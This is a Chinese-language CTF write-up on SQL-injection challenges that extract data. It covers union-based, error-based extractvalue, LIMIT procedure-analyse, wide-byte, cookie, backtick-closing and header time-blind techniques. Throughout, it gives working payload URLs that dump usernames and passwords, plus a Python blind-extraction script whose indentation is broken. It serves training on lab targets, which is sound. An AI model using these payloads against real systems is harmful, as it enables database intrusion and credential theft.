CTF| SQL注入之获取数据类

时间:2022-05-06
本文章向大家介绍CTF| SQL注入之获取数据类,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

上周发了一篇 SQL注入登录类的题型文章分析,这种题目一般是绕过登录限制。常规的SQL注入题需要我们一步步注入出数据,大部分题目需要我们有一定代码审计的能力,分析出代码存在的注入漏洞才能获得flag。

简单的注入题目

简单的sql注入题目就和你在sqli平台上练习的一样,按照sql的基本注入方式一步步下来,就一定能够获得falg。

题目入口:

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php 题目来源:hacking lab inject 02~ 添加id:index.php?id=3 解法一:题目提示我们flag就在这个表里,遍历id,id有点大!!不现实 。 http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=12999

解法二:常规解法,得到id

index.php?id=1 union select 1,(select group_concat(0x7e,id,0x7e) from sae_user_sqli3) ,3%23

解法三:万能密码的方式 index.php?id=1 or 1=1#

题目入口:

http://redtiger.labs.overthewire.org/level1.php

题目来源:

RedTigers Hackit Level 1 Simple SQL-Injection

简单的sql注入,题目已经告诉我们,用户名Hornoxe,表为level_users

http://redtiger.labs.overthewire.org/level1.php?cat=1 and 1=1

http://redtiger.labs.overthewire.org/level1.php?cat=1 and 1=2

判断列数 :level1.php?cat=1 order by 4

判断回显位置 : level1.php?cat=1 union select 1,2,3,4

得到密码: level1.php?cat=1 union select 1,2,3,(select group_concat(username,0x7e,password) from level1_users)

报错注入姿势

题目入口:

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin

题目来源:hacking lab inject 06~

报错注入——参考这篇文章:十种MySQL报错注入 http://www.cnblogs.com/wocalieshenmegui/p/5917967.html 随便挑一种来注入: index.php?username=admin' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))%23

直接给payload: index.php?username=admin' and (extractvalue(1,concat(0x7e,(select (SELECT distinct concat(0x3a,username,0x3a,motto,0x3a,0x3a) FROM motto limit 3,1)),0x7e)))%23

Limit注入

题目入口:

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1 hacking lab inject 04~ 题目:小明经过学习,终于对SQL注入有了理解,她知道原来sql注入的发生根本原因还是数据和语句不能正确分离的原因,导致数据作为sql语句执行;但是是不是只要能够控制sql语句的一部分就能够来利用获取数据呢?小明经过思考知道,where条件可控的情况下,实在是太容易了,但是如果是在limit条件呢?

这是一道limit注入的题目,可以参考freebuf:http://www.freebuf.com/articles/web/57528.html

index.php?start=1&num=1 procedure analyse (extractvalue(rand(),concat(0x3a,user())),1)

index.php?start=1&num=1 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(0x7e,username,0x3a,password,0x7e) from user))),1)

可以看到用户名有个是flag,但是密码没有显示出来 。 index.php?start=1&num=1 procedure analyse (extractvalue(rand(),concat(0x3a,(select group_concat(0x7e,password,0x7e) from user))),1)

图片参数注入

题目入口:

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/ hacking lab inject 05~ 这道题的注入点在图片URL的参数上。 http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg

判断列数 : /images/dog1.jpg%df'+order+by+4+%23 判断回显位置 : dog1.jpg%df'+union+select+1,2,3,4+%23

pic表的列 : dog1.jpg%df'+union+select+1,2,(select+group_concat(0x20,column_name)+from+information_schema.columns+where+table_name%3d0x706963),4+%2

get flag : /images/dog1.jpg%df'+union+select+1,2,(select+group_concat(picname)+from+pic),4+%2

访问图片:

http://lab1.xseclab.com/sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/flagishere_askldjfklasjdfl.jpg

cookie注入

题目入口:

http://lab1.xseclab.com/sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1 题目来源:hacking lab inject 08~ 这道题,题目已经说明白GET/POST都没有办法注入,注入点在HTTP头部。 尝试cookie注入。

接下来注入和常规注入没有什么分别了。 Cookie: PHPSESSID=89256747cebe9f71271a3645b92f8014;id=1 union select 1,(select group_concat(0x7e,username,0x3a,password,0x7e) from sae_manager_sqli8),3%23

神奇的反引号

题目入口:http://web.jarvisoj.com:32794/

查看源代码:

http://web.jarvisoj.com:32794/index.php~

Hacker( ) 会输出报错语句,尝试闭合反引号 。

http://web.jarvisoj.com:32794/index.php?table=flag` `union select user() limit 1,1

闭合的语句:

desc `secret_flag` `union select user() limit 1,1`

查表:

http://web.jarvisoj.com:32794/index.php?table=flag` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1

查列:

http://web.jarvisoj.com:32794/index.php?table=flag` `union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1

获得flag:

http://web.jarvisoj.com:32794/index.php?table=flag` `union select flagUwillNeverKnow from secret_flag limit 1,1

题目入口:

http://114.55.36.69:20680/index.php?table=news&id=1 这道题是有人在tools上提问的,id处过滤了column_name,所以注入点在table。

源代码:

$sql="desc `error_{$table}`";
$res=mysql_query($sql);
if(empty(mysql_fetch_array($res))){
 echo "<center>no table detail<center>";
 die();
}
$sql="select * from error_${table} where id = $id";
payload:
http://114.55.36.69:20680/index.php?table=flag`%23`%20where%200=extractvalue(1,(select%20group_concat(0x3a,column_name)%20from%20information_schema.columns%20where%20table_name=%27error_flag%27))%23`&id=1

分析:此处payload的构造最为巧妙。源代码出现了两次$sql,但是第一部分有反引号,第二部分没有。这样的结果是,第一次查询的时候,%23是#,会注释掉后面的语句。而第二次查询的时候,%23被两个反引号括起来失去了注释的意义。

第一个$sql:

desc `error_flag`%23`%20where%200=extractvalue(1,(select%20group_concat(0x3a,column_name)%20from%20information_schema.columns%20where%20table_name=%27error_flag%27))%23``

第二个$sql:

select * from error_flag`%23`%20where%200=extractvalue(1,(select%20group_concat(0x3a,column_name)%20from%20information_schema.columns%20where%20table_name=%27error_flag%27))%23` where id = $id"

herder+时间盲注

题目入口:

http://ctf5.shiyanbar.com/web/wonderkun/index.php

实验吧,who are you ?? 我要把攻击我的人都记录db中去!

关于伪造ip的参数:

X-Forwarded-For 本题使用

Client-IP

x-remote-IP

x-originating-IP

x-remote-addr

X-Forwarded-For:1'+(sleep(5))+' 跑脚本。

#-*-coding:utf-8-*-
import requests
import string
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess=string.lowercase + string.uppercase + string.digits
flag=""
for i in range(1,100):
    havetry=0
 for str in guess:
        headers={"x-forwarded-for":"' +(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(7) else 1 end ) and '1'='1" %(i,str)}
 try: 
            res=requests.get(url,headers=headers,timeout=6)
 except requests.exceptions.ReadTimeout, e:
            havetry=1
            flag = flag + str
            print "flag:", flag
 break
 if havetry==0:
 break
print 'result:' + flag
result:cdbf14c9551d5be5612f7bb5d2867853